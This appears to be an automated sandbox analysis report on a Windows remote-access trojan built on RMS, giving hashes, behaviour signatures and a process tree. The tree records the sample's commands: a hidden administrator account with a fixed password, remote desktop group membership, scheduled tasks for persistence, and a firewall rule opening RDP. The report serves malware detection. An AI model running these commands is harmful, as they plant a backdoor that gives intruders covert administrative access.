Analysis

  • max time kernel
    140s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    27-08-2024 02:48

General

  • Target

    90f414ca8e7fe410a19ea1be7895f8b7df55b35d4289f1bd7c8900b2c886f4b4.exe

  • Size

    9.4MB

  • MD5

    6fde344165a369c3586a68317279247c

  • SHA1

    e39b5038f44757a7049c4ebabbd6f62deb280796

  • SHA256

    90f414ca8e7fe410a19ea1be7895f8b7df55b35d4289f1bd7c8900b2c886f4b4

  • SHA512

    880650d5db061a4aab3df0c99ed1871de4347fb6ed7305c596fa4b75ec57e9c7acecebeeef675ba864d727a898963fe397af08a5d71e7993289299764931349a

  • SSDEEP

    196608:uQmw1JCIvqD9gd1lqFxsPE41SfWj+gzjt5s9di7aH6CcvG:uQr9qFxOE41+Wj5zjLs9U7aaRvG

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 3 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 1 IoCs
  • Themida packer 14 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 1 IoCs
  • AutoIT Executable 12 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 3 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 60 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\90f414ca8e7fe410a19ea1be7895f8b7df55b35d4289f1bd7c8900b2c886f4b4.exe
    "C:\Users\Admin\AppData\Local\Temp\90f414ca8e7fe410a19ea1be7895f8b7df55b35d4289f1bd7c8900b2c886f4b4.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2256
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2116
    • C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2648
      • C:\ProgramData\Windows Tasks Service\winserv.exe
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:2980
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\system32\net.exe
        net user John 12345 /add
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user John 12345 /add
          4⤵
            PID:2652
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2528
        • C:\Windows\system32\net.exe
          net localgroup "Администраторы" John /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2952
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup "Администраторы" John /add
            4⤵
              PID:2956
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2968
          • C:\Windows\system32\net.exe
            net localgroup "Пользователи удаленного рабочего стола" John /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1856
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
              4⤵
                PID:636
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2348
            • C:\Windows\system32\net.exe
              net localgroup "Пользователи удаленного управления" john /add" John /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2008
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
                4⤵
                  PID:2024
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1396
              • C:\Windows\system32\net.exe
                net localgroup "Administrators" John /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1612
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup "Administrators" John /add
                  4⤵
                    PID:1968
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1732
                • C:\Windows\system32\net.exe
                  net localgroup "Administradores" John /add
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1388
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup "Administradores" John /add
                    4⤵
                      PID:1944
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
                  2⤵
                  • Remote Service Session Hijacking: RDP Hijacking
                  PID:2820
                  • C:\Windows\system32\net.exe
                    net localgroup "Remote Desktop Users" john /add
                    3⤵
                    • Remote Service Session Hijacking: RDP Hijacking
                    PID:344
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
                      4⤵
                      • Remote Service Session Hijacking: RDP Hijacking
                      PID:1800
                • C:\ProgramData\RDPWinst.exe
                  C:\ProgramData\RDPWinst.exe -i
                  2⤵
                  • Server Software Component: Terminal Services DLL
                  • Executes dropped EXE
                  • Modifies WinLogon
                  • Drops file in Program Files directory
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2144
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                    3⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:924
                • C:\Windows\system32\cmd.exe
                  cmd /c C:\Programdata\Install\del.bat
                  2⤵
                    PID:1636
                    • C:\Windows\system32\timeout.exe
                      timeout 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:2236
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {12A366CD-BFF5-4013-A000-227945B07D88} S-1-5-21-1385883288-3042840365-2734249351-1000:RPXOCQRF\Admin:Interactive:[1]
                  1⤵
                    PID:2052
                    • C:\ProgramData\Windows Tasks Service\winserv.exe
                      "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                      2⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      PID:2672
                    • C:\ProgramData\Windows Tasks Service\winserv.exe
                      "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                      2⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      PID:1516

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\ProgramData\Install\del.bat

                    Filesize

                    315B

                    MD5

                    155557517f00f2afc5400ba9dc25308e

                    SHA1

                    77a53a8ae146cf1ade1c9d55bbd862cbeb6db940

                    SHA256

                    f00d027b0ed99814846378065b3da90d72d76307d37b7be46f5a480f425a764e

                    SHA512

                    40baee6e6b22c386886d89172ad7c17605166f992f2d364c68d90b9874ab6f7b85e0accc91e83b4fbd2ae702def365f23542f22f6be7ff2f7949496cc0ba8a32

                  • C:\ProgramData\RDPWinst.exe

                    Filesize

                    1.4MB

                    MD5

                    3288c284561055044c489567fd630ac2

                    SHA1

                    11ffeabbe42159e1365aa82463d8690c845ce7b7

                    SHA256

                    ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                    SHA512

                    c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                  • C:\ProgramData\Windows Tasks Service\settings.dat

                    Filesize

                    2KB

                    MD5

                    bc909d39981af556d07dc67178f61472

                    SHA1

                    a4e5b1c5bc746435a5baf11b728e83fb8e654da0

                    SHA256

                    10cf28ab39bf7ba76b91b043a007006d13d4a661fbcaad3d7820c19407b1e6a8

                    SHA512

                    acf34884a865cdabfbb9a49b948ccc74fe1e158636b23e2f728c2df6fd2fb7bda0929eeddf4bf58d90b034215dafa5e2c697050c51c2f2259ff77fa02d80f51a

                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                    Filesize

                    10.2MB

                    MD5

                    3f4f5a6cb95047fea6102bd7d2226aa9

                    SHA1

                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                    SHA256

                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                    SHA512

                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                  • C:\Users\Admin\AppData\Local\Temp\Cab1CE7.tmp

                    Filesize

                    70KB

                    MD5

                    49aebf8cbd62d92ac215b2923fb1b9f5

                    SHA1

                    1723be06719828dda65ad804298d0431f6aff976

                    SHA256

                    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

                    SHA512

                    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

                  • \??\PIPE\samr

                    MD5

                    d41d8cd98f00b204e9800998ecf8427e

                    SHA1

                    da39a3ee5e6b4b0d3255bfef95601890afd80709

                    SHA256

                    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                    SHA512

                    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                  • \Program Files\RDP Wrapper\rdpwrap.dll

                    Filesize

                    114KB

                    MD5

                    461ade40b800ae80a40985594e1ac236

                    SHA1

                    b3892eef846c044a2b0785d54a432b3e93a968c8

                    SHA256

                    798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

                    SHA512

                    421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

                  • memory/1516-103-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/1516-101-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/1596-71-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-49-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-2-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-5-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-7-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-26-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-87-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-4-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-9-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-3-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-8-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-0-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-6-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-18-0x000000013F160000-0x0000000140193000-memory.dmp

                    Filesize

                    16.2MB

                  • memory/1596-1-0x0000000077170000-0x0000000077172000-memory.dmp

                    Filesize

                    8KB

                  • memory/2144-48-0x0000000000400000-0x000000000056F000-memory.dmp

                    Filesize

                    1.4MB

                  • memory/2648-47-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2648-25-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2648-22-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2672-91-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2672-93-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2980-51-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2980-72-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2980-27-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2980-88-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/2980-89-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB